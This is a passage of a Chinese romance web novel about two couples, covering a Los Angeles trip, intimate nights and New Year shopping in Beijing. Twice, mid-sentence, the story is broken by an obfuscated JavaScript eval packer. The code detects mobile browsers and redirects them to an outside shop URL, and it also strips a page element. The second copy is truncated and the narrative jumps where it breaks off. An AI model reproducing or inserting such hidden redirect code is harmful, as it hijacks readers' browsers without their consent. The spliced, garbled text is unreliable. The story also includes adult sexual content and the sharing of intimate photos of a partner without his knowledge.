窗外,天快亮了。 这个漫长的夜晚终于过去。 但对他们来说,有些东西才刚刚开始。 第二天早上,鹿之言下楼时脚步有些虚浮。 鹿炽看见他,默默移开视线。 鹿之言面无表情,耳尖却红了。 十分钟后,陆知岩神清气爽地下楼,衬衫扣到最上面一颗,但颈侧还是露出一小片红痕。 鹿炽低着头喝粥,假装没看见。 陆沉远给他夹菜,也假装没看见。 鹿之言沉默地吃早餐,从头到尾没看陆知岩一眼。 陆知岩也不在意,殷勤地给他倒牛奶、剥鸡蛋。 “之言,这个鸡蛋煮得刚好。” “嗯。” “要不要加点酱油?” “不用。” “牛奶是温的,不烫。” “知道了。” 陆沉远和鹿炽对视一眼,默契地加快吃饭速度。 早餐后,陆知岩把碗收进洗碗机,哼着歌上楼了。 鹿之言坐在沙发上,揉了揉腰。 鹿炽犹豫了一下,走过去。 “哥,”他小声说,“你还好吧?” 鹿之言抬眼看他。 “好得很。”他说,“你昨晚睡得好吗?” 鹿炽脸一下子红了。 “……还好。” “嗯。”鹿之言说,“隔音确实一般。” 鹿炽彻底说不出话了。 鹿之言看着他弟红透的耳尖,嘴角微微弯了一下。 他没再说什么,只是拍了拍身边的沙发。 鹿炽坐下,靠在他肩上。 窗外阳光很好。 两对恋人,各自窝在各自的爱人身边。 谁也不说话,但空气里都是温柔。 这个早晨很普通。 但这平凡的一刻,他们等了太久。 29. 夜晚 白天的洛杉矶很温柔。 阳光从落地窗倾泻进来,在地板上铺开大片暖色。陆知岩靠坐在沙发上,手里端着杯咖啡——鹿之言限定的,一天只能喝半杯,美其名曰“养肋骨”。 “之言。”他放下杯子。 “嗯。”鹿之言坐在旁边看手机。 “今天天气真好。” 鹿之言抬头看了眼窗外,又低头继续看手机。 “嗯。” “我们出去走走吧。”陆知岩说,“来洛杉矶快十天了,都没好好逛过。” 鹿之言顿了一下。 “你肋骨还没好。” “好了。”陆知岩动了动,“你看,不疼了。” 鹿之言看着他,没说话。 陆知岩立刻放软声音:“就走一走,不跑不跳不剧烈运动。” 他顿了顿,补充:“就是……想跟你一起看看。” 鹿之言沉默了几秒。 “……去哪儿?” 陆知岩眼睛亮了。 二十分钟后,四人两车驶出山间别墅。 陆知岩导航的第一站是圣莫尼卡海滩。鹿之言看着窗外逐渐开阔的海岸线,表情平静,但手一直没从陆知岩那边抽回来。 “哥,”鹿炽坐在后座,小声问陆沉远,“你以前来过这里吗?” “没有。”陆沉远说。 “我也是第一次来。”鹿炽看着窗外的海,眼睛亮晶晶的,“好蓝。” 陆沉远看着他被阳光镀成金色的侧脸,没说话。 海边风很大,陆知岩一下车就把自己的外套脱下来披在鹿之言身上。 “我不冷。”鹿之言要脱。 “风大。”陆知岩按住他的手,“你前几天有点咳嗽。” 鹿之言看着他,没再拒绝。 鹿炽在旁边看着,偷偷碰了碰陆沉远的手。 陆沉远偏头看他。 “我也冷。”鹿炽小声说。 陆沉远没拆穿他。他解开外套拉链,把鹿炽拢进来,裹紧。 鹿炽把脸埋进他胸口,耳朵红红的,但嘴角是翘的。 陆知岩在旁边看见了,心说:好家伙,学我。 但他现在没空计较。他正忙着牵鹿之言的手,十指相扣那种。 沙滩上人很多,有冲浪的,有遛狗的,有躺在沙滩椅上晒太阳的。他们沿着海岸线慢慢走,偶尔停下来看海鸥抢食,偶尔被浪花追着跑。 “陆知岩。”鹿之言忽然开口。 “嗯。” “你十六岁的时候,说过要带我看海。” 陆知岩愣了一下。 “我说过吗?” “说过。”鹿之言看着远处的地平线,“高二春游,去的是邻市那个湖。你说那不是海,以后带我去看真的。” 陆知岩想起来了。 那个春天的午后,湖边柳絮飞得像雪。鹿之言站在柳树下,被风吹起头发。他忽然就很想带他去看海,看那种无边无际的、没有尽头的蓝。 “后来怎么没去?”鹿之言问。 陆知岩沉默了几秒。 “后来我们分手了。” 鹿之言没说话。 陆知岩握紧他的手。 “以后补上。”他说,“每年都来。” 鹿之言偏头看他。 “说话算话。” “算话。” 鹿之言没应声,但手指在陆知岩掌心轻轻勾了一下。 傍晚,他们去了格里菲斯天文台。 站在观景台上,整个洛杉矶尽收眼底。夕阳把城市染成一片金红,远处的太平洋泛着粼粼波光。 鹿炽趴在栏杆上,看得入神。 “好漂亮。”他轻声说。 陆沉远站在他旁边,看着他。 “嗯。” 鹿炽转过头,对上他的视线,脸微微红了。 “你看我干嘛,看风景。” “看过了。”陆沉远说。 “什么时候看的?” “从你下车到现在。” 鹿炽噎住了。他低下头,假装专注地看风景,但嘴角压不住。 陆知岩和鹿之言站在不远处。 陆知岩在给鹿之言拍照。拍一张,不满意,再拍一张,还是不满意。 “你手机是不是有问题?”他皱着眉,“怎么拍都不如本人好看。” 鹿之言面无表情:“是你技术问题。” “不可能,我拍风景很专业。” “那是风景。” 陆知岩被堵得没话说,但还是坚持拍。拍了二十几张,终于有一张满意的。 他把那张设成手机壁纸,举到鹿之言面前晃:“好看吗?” 鹿之言看了一眼。 “……还行。” 陆知岩知道他这就是“很好看”的意思,美滋滋地把手机揣进口袋。 晚餐是陆知岩订的日料店,在比弗利山庄附近,私密性很好。 鹿之言对生食一般,陆知岩就给他点了熟食套餐,自己吃了两份刺身。鹿炽不爱吃芥末,陆沉远帮他把每片鱼生上的芥末刮干净,再蘸酱油放进他碟子里。 鹿炽低头吃,耳朵红了一整顿饭。 回程的路上,陆知岩把车开得很慢。 车载音响放着很老的爵士乐,鹿之言靠在副驾驶座上,半阖着眼。他今天走了很多路,有点累了,但不想睡。 “之言。”陆知岩轻声叫他。 “嗯。” “今天开心吗?” 鹿之言睁开眼,看着他。 “……开心。” 陆知岩笑了。 “以后每天都让你这么开心。” 鹿之言没说话,但手轻轻覆上了陆知岩放在档位杆上的手。 后座,鹿炽也快睡着了。 他靠在陆沉远肩上,呼吸平稳。陆沉远没动,怕吵醒他。 洛杉矶的夜从车窗外掠过。棕榈树的剪影,亮着灯的快餐店,空旷的高速公路。 陆沉远低头,在鹿炽发顶落下一个很轻的吻。 鹿炽没醒,但嘴角弯了一下。 --- 回到别墅已经快十一点。 鹿炽困得眼睛都睁不开,陆沉远半扶半抱地带他上楼。鹿之言检查了陆知岩的绷带,确认没问题,才去浴室放水。 陆知岩坐在床边,听着浴室里的水声,忽然觉得有点燥。 不是那种燥。是那种…… 他低头看了眼自己身下,无奈地叹了口气。 都三十岁的人了,怎么还跟十六岁似的,老婆洗个澡都能起反应。 他试图让自己想点别的事。比如明天回程的航班,比如公司积压的邮件,比如他那根还没完全长好的肋骨。 没用。 水声还在继续,隔着门隐隐约约。他脑子里开始浮现鹿之言站在淋浴下的画面,水珠顺着他的后背往下滑…… 操。 陆知岩站起来,走到窗边,试图用洛杉矶的夜景冷静一下。 夜景很美,没用。 他深吸一口气,又走回床边坐下。 忍了。 肋骨还没好透,不能剧烈运动。医生说的。 而且鹿之言这些天照顾他也够累了,今晚好不容易能好好休息。 他躺下来,闭上眼睛,强迫自己睡觉。 十分钟后。 浴室门开了。 鹿之言走出来,穿着那件灰色的浴袍,头发还滴着水。他一边用毛巾擦头发,一边往床边走。 “你怎么还没睡?” 陆知岩睁开眼,看着他的浴袍领口。 那里露出一小片锁骨,水珠正沿着那道优美的弧线往下滑,滑进更深的阴影里。 “……睡不着。”他声音有点哑。 鹿之言看了他一眼,没多想。他坐在床边,继续擦头发。 陆知岩也坐起来。 “我帮你擦。” 鹿之言把毛巾递给他。 陆知岩接过来,动作很轻地帮他擦。鹿之言的头发很软,发尾有点自然卷,每次洗完澡都乱糟糟的,但陆知岩觉得这样最好看。 “之言。”他开口。 “嗯。” “你这四年……有没有想过别人?” 鹿之言顿了一下。 “没有。” “一次都没有?” “没有。” 陆知岩放下毛巾,从后面抱住他。 “我也是。”他声音很轻,“从来没有。” 鹿之言没说话,但靠进他怀里。 陆知岩的心跳很快。他能感觉到,鹿之言的也很快。 “之言。”他又叫他。 “嗯。” “我想……” 他顿住了。 鹿之言偏头看他:“想什么?” 陆知岩看着他。 鹿之言的睫毛还湿着,眼睛在台灯光下很亮。他刚洗完澡,皮肤泛着淡淡的粉色,嘴唇也因为热气而微微红肿。 陆知岩的理智在那一刻彻底崩了。 他低头,吻住鹿之言。 这个吻和之前那些不一样。不是索求,不是撒娇,是压抑了太久的、成年人的欲望。 鹿之言愣了一下,但没有推开他。 他回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271920|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应着,手攀上陆知岩的肩膀。 “你的肋骨……”他喘着气,在接吻间隙艰难地说。 “好了。”陆知岩含混不清地回答,“早好了。” “医生说要养六周……” “养三十九天了。”陆知岩吻他的下颌,“你天天给我换药,不知道恢复得有多好?” 鹿之言没话说了。 陆知岩把他放倒在床上,俯身压下来。 “之言。”他在他耳边说,“我想了四年。” 鹿之言看着他。 “我知道。”他轻声说。 “那你……” 鹿之言没让他把话说完。 他伸手,把陆知岩拉近。 床头灯被碰倒了,光晃了一下,灭了。 黑暗中只剩下呼吸声,和偶尔泄露出的、压抑的低吟。 二楼,鹿炽刚洗完澡出来。 他擦着头发,发现陆沉远不在房间里。 “陆沉远?”他叫了一声。 没人应。 他走到门边,正要出去找,门忽然被推开了。 陆沉远站在门口。 他的呼吸有点重,额发微湿,像是刚从什么地方快步走过来。 “你……”鹿炽刚开口。 陆沉远跨进来,反手关上门。 然后他把他按在门板上,低头吻下来。 鹿炽愣住了。 不是没接过吻。但这次的陆沉远和以前不一样。以前他总是很克制,怕他疼、怕他怕、怕他还有阴影。今天他像换了一个人,吻得很急,很用力。 “陆沉远……”鹿炽在接吻间隙喊他。 “嗯。”陆沉远含混地应。 “你怎么了……” 陆沉远停下来。 他额头抵着鹿炽的额头,呼吸很重。 “你刚才洗澡。”他说。 鹿炽愣了一下:“……嗯。” “我听见水声。”陆沉远说,“然后就……” 他没说完,但鹿炽懂了。 他耳朵红了。 “那你……”他小声说,“想怎么样?” 陆沉远看着他。 鹿炽的眼睛在台灯光里很亮,睫毛还在微微颤抖。他刚洗完澡,身上还有沐浴露的香味,浴袍领口松散,露出一小截白皙的锁骨。 “我想……”陆沉远开口,声音哑得厉害,“想进去。” 鹿炽心跳漏了一拍。 他知道陆沉远说的“进去”是什么意思。 “可是你的肩膀……”他小声说。 “好了。”陆沉远说,“今天医生复查说的,可以正常活动了。” 鹿炽没说话。 他低着头,耳尖红透了。 陆沉远也不催他。他就这样抱着鹿炽,等他回答。 过了很久。 鹿炽抬起头,看着他。 “……那你去关门。” 陆沉远没动。 他伸手,把鹿炽拉进怀里。 门在身后轻轻合上。 鹿炽踮起脚,主动吻他。 窗外的洛杉矶依旧灯火璀璨。 三楼主卧的声音渐渐低下去。 二楼主卧的灯还亮着。 这一夜很长。 但他们等了更久。 等到所有恐惧、迟疑、阴影都慢慢消散。 等到终于能够确定——眼前这个人,就是余生。 凌晨三点,陆知岩从背后抱着鹿之言,手指轻轻描摹着他腕骨上的那颗小痣。 “之言。” “嗯。”鹿之言声音困倦。 “我肋骨其实还有点疼。” 鹿之言睁开眼,转头看他。 “那你还——” “但值得。”陆知岩笑了,在他肩头落下一个吻,“疼也值得。” 鹿之言看了他几秒。 然后他转回去,把脸埋进枕头里,声音闷闷的。 “傻子。” 陆知岩笑着搂紧他。 二楼,鹿炽已经睡着了。 他枕着陆沉远的右臂,呼吸很轻,睡得很沉。睫毛安静地覆在眼睑上,像两片小小的羽毛。 陆沉远没睡。 他就这样看着鹿炽,从眉眼看到鼻尖,从鼻尖看到嘴唇。 看了很久。 然后他低头,在他额头上落下一个很轻的吻。 “鹿炽。”他轻声说。 鹿炽在睡梦中动了动,往他怀里靠了靠。 陆沉远搂紧他。 窗外,洛杉矶的最后一夜,快要结束了。 明天他们就要回国。 31. 买年货啦! 陆知岩是被阳光晃醒的。 他睁开眼,第一反应是低头看怀里的人。鹿之言还在睡,脸埋在他胸口,呼吸平稳。昨晚折腾到后半夜,最后清理的时候鹿之言眼睛都睁不开了,被他从浴室抱回来,沾枕头就睡着了。 陆知岩没动。 他就这样躺着,看着鹿之言睡着的脸。 他的之言睡着的时候比醒着乖多了。不躲他,不怼他,不面无表情地说“知道了”。睫毛安安静静覆着,嘴唇微微张着,睡得很沉。 陆知岩忽然想起十六岁那年,第一次在教室后门看见鹿之言。 那时他就想:这个人好好看。 十四年过去了。 这个人还是好好看。 他轻轻抬起手——鹿之言枕着他手臂,不敢动太大——摸到床头柜上的手机。 屏幕亮起,六点四十七。 他点开相册。 昨晚拍的几张照片静静躺在那里。 第一张是那条被撕开的裙子。黑色蕾丝皱成一团,蝴蝶结还系着,裙摆撕开一道口子,扔在床尾的地板上。当时鹿之言在浴室,他捡起来想叠好,没忍住拍了张照。 第二张是那双黑丝。其中一只还挂在床角,另一只不知滚到哪儿去了。他找了半天没找到另一只。 第三张是鹿之言的侧颈。 那道红痕是他昨晚留下的。当时鹿之言抓着他的肩,仰着头,喘不过气。他没忍住,低头在上面吮了一下。 鹿之言第二天肯定要骂他。 第四张是他们现在的姿势。 他搂着鹿之言,鹿之言靠在他怀里睡得很沉。被子盖到肩头,露出的皮肤上有几处淡了的红印——不是昨晚的,是前几天的,颜色已经转成浅粉色。 陆知岩看了几秒,选中四张图,点开和陆沉远的对话框。 【哥】:[图片][图片][图片][图片] 【哥】:我老婆主动的。 【哥】:裙子他自己买的,丝袜他自己穿的,高跟鞋他自己踩的。 【哥】:就为了让我开心。 【哥】:[图片]这张,他睡着还在往我怀里钻。 发完,他放下手机,心满意足地继续抱着鹿之言。 等了五分钟。 没有回复。 陆知岩有点等不及了。 他拿起手机,又发了一条: 【哥】:你呢? 【哥】:鹿炽主动过吗? 这次回复来得很快。 【弟】:[图片] 陆知岩点开。 是一张聊天截图。 备注是“炽”。 时间显示昨晚十一点四十七分。 内容只有一句话: 【炽】:陆沉远,我想你了。 下面是鹿炽撤回了一条消息的提示。 再下面是陆沉远的回复: 【弟】:我也想你。 【弟】:撤回了我也看见了。 【弟】:明天见面再说。 陆知岩:“……” 【弟】:他主动发的。 【弟】:虽然撤回了,但我截图了。 陆知岩盯着屏幕,忽然觉得自己发的那四张图好像也没那么厉害了。 他又发: 【哥】:那只是文字。 【哥】:我这可是实物。 【弟】:嗯。 【哥】:你那个嗯是什么意思? 【弟】:意思是你老婆主动穿裙子,我老婆主动说想我。 【弟】:都是主动。 【哥】:…… 【弟】:而且你老婆说想你的次数,应该没我老婆多。 陆知岩深吸一口气。 他想反驳,但仔细回忆了一下——鹿之言好像真的从来没主动说过想他。 “想”这个字,在他的之言嘴里,比大熊猫还稀有。 他放下手机,低头看怀里的人。 鹿之言还在睡,呼吸轻轻打在他胸口。 陆知岩忽然有点委屈。 他老婆很好,特别好。愿意为他穿裙子,愿意主动抱他亲他,昨晚甚至还说了“我爱你”。 但确实从来没说过“想你”。 不是怪他。是觉得……如果能再贪心一点,好像也不错。 他正想着,怀里的人动了动。 鹿之言睁开眼。 刚睡醒的眼神还有点涣散,茫然地看着他。过了几秒,焦距慢慢聚拢。 “……几点了?” “七点不到。”陆知岩放轻声音,“再睡会儿?” 鹿之言没说话。他垂下眼,目光落在陆知岩胸口——那里有一道浅浅的红痕,是他昨晚抓的。 他沉默了几秒。 “疼吗?” 陆知岩愣了一下。 “不疼。”他笑了,“你挠的,不疼。” 鹿之言没接话。他伸手,指尖轻轻碰了碰那道红痕。 然后他抬头,看着陆知岩。 “昨晚……” “嗯?” “我没躲。”鹿之言说。 陆知岩看着他。 “你亲我的时候,我没躲。”鹿之言声音很轻,“你抱我的时候,我也没僵。” 他顿了顿。 “以后都不躲了。” 陆知岩喉结动了动。 “真的?” “嗯。” “那现在亲一下?” 鹿之言看着他,没说话。 然后他凑近,在陆知岩嘴角碰了一下。 陆知岩没动。 鹿之言退开一点,又凑近,亲了一下。 然后第三下。 “够了吗?”他问。 陆知岩摇头。 “不够。” 鹿之言没说话。他低头,把脸埋回陆知岩胸口。 过了很久。 “陆知岩。”他闷闷地开口。 “嗯。” “昨晚……我睡着之前。” “嗯?” “在想你。” 陆知岩愣住了。 “想什么?” 鹿之言沉默了几秒。 “想你这四年,”他说,“是不是也每天这样。” 陆知岩没说话。 “睡前想你。”鹿之言声音轻轻的,“醒来第一件事也是想你。走在路上看见什么东西,第一反应是想给你看。吃饭的时候在想你吃了吗,天冷的时候在想你穿够了吗。” 他顿了顿。 “想你在干什么,有没有好好吃饭,有没有生病,有没有……忘了我的样子。” 陆知岩喉头发紧。 “这四年,”鹿之言说,“我每天都这样。” “想你。” 陆知岩没说话。 他只是把鹿之言搂得更紧,把脸埋进他发间。 过了很久。 “……我也是。”他声音哑了。 “每天都想。” 鹿之言轻轻“嗯”了一声。 阳光从窗帘缝隙漏进来,落在两个人身上。 他们没有再说话。 但有些话,已经不需要说了。 八点半,陆知岩的手机响了。 他腾出一只手摸过来,是陆沉远的消息。 【弟】:今天下午去买年货。 【弟】:你们去不去? 陆知岩看了眼怀里的鹿之言。鹿之言已经醒了,正靠在床头看手机。 “之言,下午去买年货?” 鹿之言从屏幕上抬起眼。 “几点?” “应该下午两三点。” “嗯。” 陆知岩回陆沉远: 【哥】:去。几点集合? 【弟】:三点,世贸天阶。 【哥】:行。 他放下手机,又往鹿之言那边靠了靠。 “之言。” “嗯。” “下午出门,你穿什么?” 鹿之言抬眼看他。 “你想我穿什么?” 陆知岩顿了一下。 他脑海里迅速闪过几个画面:高领毛衣,围巾,大衣——能遮住脖子那种。 “……随便。”他心虚地移开视线,“你舒服就好。” 鹿之言看着他,嘴角微微弯了一下。 “嗯。” 陆知岩总觉得他这个“嗯”意味深长。 但他不敢问。 下午两点四十,世贸天阶地下停车场。 陆沉远停好车,转头看副驾驶的鹿炽。 鹿炽正对着手机前置摄像头,小心翼翼地用遮瑕膏盖颈侧的红印。盖了两层,还是隐约能看见。 “没事。”陆沉远说,“我哥也有。” 鹿炽脸红了:“那不一样!” “哪里不一样?” “他是他,我是我……” 陆沉远看着他手忙脚乱的样子,忽然伸手,把他拉过来。 “别盖了。”他说,“让人知道你是我的,不好吗?” 鹿炽愣住了。 他看着陆沉远,耳尖慢慢红了。 “……好。”他小声说。 陆沉远笑了,在他额头亲了一下。 “下车吧。” 世贸天阶人很多,到处都是置办年货的人群。商场里挂着红灯笼,循环播放着恭喜发财,空气里飘着炒货和糖葫芦的甜香。 陆知岩和鹿之言已经到了,站在电梯口等他们。 鹿之言穿着一件半高领的黑色毛衣,领口恰到好处地遮住脖子。陆知岩站在他旁边,手很自然地搭在他腰上。 鹿炽看见他哥,条件反射地缩了缩脖子。 鹿之言看了他一眼。 没说话。 但那个眼神,鹿炽读懂了。 ——你也别盖了,我都看见了。 鹿炽把脸别开,假装专注地看电梯楼层显示。 “先逛哪儿?”陆知岩问。 “五楼有年货大集。”陆沉远说,“对联、福字、干果那些。” “行。” 电梯上行,四人挤在角落里。 陆知岩搂着鹿之言,陆沉远牵着鹿炽。 中间隔了大概三十厘米。 陆知岩低头,在鹿之言耳边说了句什么。鹿之言没理他,但耳尖红了。 陆沉远看见了。 他偏头,对鹿炽说:“我哥又在骚。” 鹿炽没忍住,笑了一下。 电梯门开了,五楼到了。 年货大集确实热闹。 红彤彤的灯笼挂成串,春联摊前排着长队,糖炒栗子的香味飘了半层楼。四个穿深色冬装的男人站在人群里,像四棵移动的冷杉。 “对联要几副?”鹿之言问。 “大门一副,后门一副。”陆知岩想了想,“书房要不要也来一副?” “随便。” “那就三副。” 鹿之言没反对。 陆沉远在挑福字。他选了一对绒布的,金色“福”字烫印在正红底子上,边缘有暗纹。 “这个好看吗?”他问鹿炽。 “嗯。”鹿炽点头,“寓意也好。” “什么寓意?” “福到了。”鹿炽指着倒贴的福字,“倒过来贴,就是福到。” 陆沉远看着那对福字,又看看鹿炽。 “那我要买两对。” “为什么?” “你家一对,我家一对。” 鹿炽愣了一下,然后低头笑了。 “……嗯。” 陆知岩在旁边听见了,转头对鹿之言说:“之言,我们也买两对。” “为什么?” “你家一对,我家一对。” 鹿之言看了他一眼。 “我家就是你家。” 陆知岩顿了一下。 然后他嘴角压不住了。 “那、那买一对也行……” “买两对。”鹿之言说,“我那边也贴。” 陆知岩看着他,眼睛亮得像捡到宝。 “好。” 鹿炽在旁边小声对陆沉远说:“知岩哥又开始了。” 陆沉远点头:“他一直这样。” “我哥好像吃这套。” “我哥就吃这套。” 两个弟弟对视一眼,默契地移开视线。 干果摊前,陆知岩在挑开心果。 “之言,你要原味还是盐焗?” “原味。” “沉远呢?” “都行。” “鹿炽?” 鹿炽正在看旁边的糖霜山楂,闻言回头:“啊?我也原味。” 陆知岩称了两斤原味开心果,又加了一斤盐焗——他爱吃咸的。 鹿之言在旁边看,忽然说:“你去年不是查出胆固醇偏高?” 陆知岩动作顿了一下。 “……你怎么知道?” “你朋友圈去年三月发过。”鹿之言说,“体检报告截图,虽然秒删了,但我看见了。” 陆知岩愣住了。 那是他去年心血来潮发的,发完觉得太矫情,三分钟就删了。 他以为没人看见。 “所以,”鹿之言把盐焗开心果放回货架,“少买点。” 他顿了顿。 “以后我帮你控制。” 陆知岩看着他,半天没说话。 然后他低头,继续挑原味开心果。 “好。”他声音很轻。 鹿炽在不远处看见了这一幕。 他碰了碰陆沉远的手。 “你哥怎么了?” 陆沉远看了一眼。 “没怎么。”他说,“就是被我哥管了。” “那他还挺高兴?” “嗯。”陆沉远点头,“他喜欢被我哥管。” 鹿炽想了想。 “那我以后也管你?” 陆沉远看着他。 “管什么?” “比如……”鹿炽想了想,“不让你熬夜打游戏。” “可以。” “按时吃饭。” “可以。” “定期体检。” “可以。” 鹿炽又想了想。 “暂时就这些。” 陆沉远笑了。 “好。” 四人在年货大集逛了一个多小时。对联、福字、干果、糖果、腊味,买了两大购物车。 结账的时候,陆知岩掏出黑卡。 鹿之言按住他的手。 “我来。” “为什么?” “你上个月刚买完车。”鹿之言说,“这个月又给沉远买车。” 陆知岩愣了一下:“所以?” “所以省着点花。” 陆知岩看着自己被按住的手,又看看鹿之言认真的表情。 他忽然笑了。 “之言。” “嗯。” “你管我的样子,”他说,“特别好看。” 鹿之言面无表情地抽走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆知岩抬眼看他。 “你出生那天,”他说,“我六岁。爸带我去医院看你和妈。” 他顿了顿。 “你躺在小床里,闭着眼睛,脸皱巴巴的,丑得要命。” 陆沉远:“……” “我当时觉得,”陆知岩说,“这人是我弟弟,以后得罩着他。” 他夹起涮好的毛肚,放进碗里。 “罩了二十四年了。” 他说得很平淡,像在陈述今天天气不错。 陆沉远没说话。 他低头,夹起一片肉,放进锅里。 过了很久。 “谢谢哥。”他说。 陆知岩没抬头。 “嗯。” 鹿炽在旁边看着,轻轻碰了碰陆沉远的手。 陆沉远反手握住。 窗外,北京冬天的夜来得早。 六点多,天已经完全黑了。商场亮起灯,把整条街照得流光溢彩。 吃完火锅,四人拎着大包小包往停车场走。 陆知岩左手拎着年货,右手牵着鹿之言。 鹿之言没挣开。 陆沉远左手拎着年货,右手牵着鹿炽。 鹿炽被他牵得很紧。 走到车边,陆知岩忽然停下。 “之言。” “嗯。” “今年过年,”他说,“来我家过吧。” 鹿之言看着他。 “我妈一直想见你。”陆知岩说,“我爸也是。” 他顿了顿。 “他们都问你好几次了。” 鹿之言没说话。 “不愿意也没关系,”陆知岩说,“那我去你家过。” “还是你想各回各家?也行。或者我们一起出去旅游,国外也行国内也行,你选——” “陆知岩。”鹿之言打断他。 陆知岩停下来。 “我去。”鹿之言说。 陆知岩愣住了。 “真的?” “嗯。” “那、那三十晚上在我家吃年夜饭,初一去你家拜年,初二我们出去……” “你自己安排。”鹿之言拉开车门,“都行。” 陆知岩站在原地,看着他的背影。 鹿之言坐进副驾,系安全带。 他偏头,从车窗里看了陆知岩一眼。 “还不上车?” 陆知岩回过神,赶紧拉开车门。 “来了来了。” 另一辆车边,鹿炽也在系安全带。 他忽然说:“陆沉远。” “嗯。” “过年你有什么安排?” 陆沉远想了想。 “没什么安排。”他说,“往年就我和我哥,吃顿饭,看个春晚。” 鹿炽没说话。 过了几秒。 “那今年,”他小声说,“要不要来我家?” 陆沉远看着他。 “我妈说……请你来过年。”鹿炽声音越来越小,“她说你一个人在北京,怪可怜的……” 他顿了顿。 “当然你要是不想来也没关系……” “来。”陆沉远说。 鹿炽抬起头。 “真的?” “嗯。”陆沉远笑了,“你帮我问问阿姨,我初几去合适。” 鹿炽眼睛亮了。 “初三?初三行吗?” “行。” “那我回去跟我妈说!” 陆沉远看着他亮晶晶的眼睛,心里软成一片。 “好。” 两辆车,一前一后驶出停车场。 玛莎拉蒂在前,保时捷在后。 年货塞满后备箱,导航指向回家的路。 鹿之言靠在副驾驶座上,看着窗外飞速后退的街灯。 “陆知岩。”他忽然开口。 “嗯。” “你之前说,想去哪儿过年?” “都行。”陆知岩说,“你选。” 鹿之言沉默了几秒。 “冰岛。”他说。 陆知岩愣了一下。 “冰岛?” “嗯。”鹿之言说,“想看极光。” 陆知岩没说话。 他握着方向盘,目视前方。 但嘴角慢慢弯了起来。 “好。”他说,“明年春节,我们去看极光。” 后座,陆沉远和鹿炽并排坐着。 车里很安静,只有空调出风口细微的嗡鸣。 鹿炽靠在陆沉远肩上,慢慢闭上眼睛。 “陆沉远。” “嗯。” “今天开心吗?” 陆沉远想了想。 “开心。”他说。 鹿炽轻轻“嗯”了一声。 “我也是。” 窗外,北京的夜色沉下来。 腊月的风很冷,但车里很暖。 年货在后备箱里挤挤挨挨,对联和福字安静地躺着,等待被贴上门楣的那一刻。 还有两周就是春节了。 这是他们一起过的第一个年。 还会有第二个,第三个。 很多很多个。 陆沉远低头,在鹿炽发顶落下一个吻。 鹿炽没醒,但嘴角弯了一下。 像做了一个很长很长的好梦。 梦里他们在冰岛看极光。 梦里他们都在彼此身边。 梦里岁岁年年,人月两圆。 32. 年货! 腊月二十五,距离除夕还有五天。 周浩早上六点就醒了,躺在床上翻来覆去睡不着。他拿起手机看了一眼——六点零三分。 又看了一眼——六点零五分。 再看一眼——六点零八分。 他放弃了,坐起来,给林屿发消息。 【浩】:醒了吗? 等了五分钟,没回。 他盯着屏幕,心想林屿肯定还在睡。学霸也放假,学霸也赖床。 他躺回去,又翻了两圈。 手机震了。 【屿】:嗯。 【屿】:你起这么早? 周浩立刻坐起来,打字飞快: 【浩】:睡不着! 【浩】:今天不是去买年货吗! 【浩】:我第一次去你家过年!!! 【浩】:紧张!!! 他一连发了四条,发完才觉得有点傻。 林屿回得慢条斯理: 【屿】:紧张什么? 【屿】:我家又没老虎。 【浩】:有岳父岳母啊!!! 【屿】:………… 【屿】:周浩。 【屿】:谁是岳父岳母? 周浩盯着屏幕,突然意识到自己说漏嘴了。 他赶紧打字: 【浩】:口误口误! 【浩】:叔叔阿姨!叔叔阿姨! 林屿这次回得更慢。 【屿】:嗯。 【屿】:再睡会儿。 【屿】:九点来接你。 周浩看着“九点来接你”五个字,嘴角压都压不住。 他把手机贴在胸口,躺平,盯着天花板。 九点。还有三个小时。 他闭上眼,强迫自己睡。 三秒后,又睁开眼。 算了,睡不着。 周浩九点整准时出现在小区门口。 他穿了一件红色卫衣,帽子上有个蠢兮兮的毛球,配黑色工装裤和白色运动鞋。头发特意抓了两下,喷了发胶,闻起来一股子橘子味。 林屿站在路边等他。 今天林屿穿了一件深灰色大衣,里面是黑色高领毛衣,围着条米白色围巾。他站在那儿,单手插兜,另一只手拎着个帆布袋,像从什么杂志封面走下来的。 周浩跑过去,在他面前站定。 “等很久了吗?” “刚到。”林屿看着他,“你换衣服了?” 周浩愣了一下:“你怎么知道?” “早上发消息的时候,”林屿说,“你说你在挑衣服。” 周浩脸红了:“那、那还不让换了……” “让。”林屿说,“这件好看。” 周浩心跳漏了一拍。 “比昨天那件好看。” “你昨天又没看见我穿什么——” “视频的时候。”林屿打断他,“你穿那件灰色卫衣。” 周浩愣住了。 前天晚上他们视频了四十分钟。他说了一堆有的没的,林屿大多数时候只是听着,偶尔回一句“嗯”。 他以为林屿没在看他。 “所以,”林屿看着他,“这件确实好看。” 周浩站在原地,耳尖红透了。 “走、走吧。”他低头,去牵林屿的手,“买年货去。” 林屿没说话,但反手扣紧了他的手指。 年货市场在东三环的批发市场旁边,每年腊月二十三开市,一直卖到除夕下午。这会儿人已经很多了,到处都是拎着大包小包的人。 周浩第一次来这种地方,眼睛都不够用了。 “哇——”他看着满街的红灯笼,“好多人!” “嗯。” “那边有卖对联的!” “嗯。” “还有干果!糖炒栗子!” “嗯。” 周浩转过头,看林屿:“你怎么就‘嗯嗯嗯’的,不激动吗?” 林屿看着他。 “激动。”他说。 “哪儿激动了?” “看你激动,”林屿说,“就够了。” 周浩被噎住了。 他张了张嘴,想反驳,但找不到词。 最后他只能别开脸,假装专注地看旁边的春联摊。 但耳尖红得能滴血。 春联摊是个老大爷支的,摆了满满一地。红底金字,红底黑字,洒金的,暗纹的,应有尽有。 “周浩。”林屿叫他。 “嗯?” “你家门口多宽?” 周浩愣了一下:“干嘛?” “买对联。”林屿说,“要量尺寸。” 周浩想了想:“好像……一米二?” 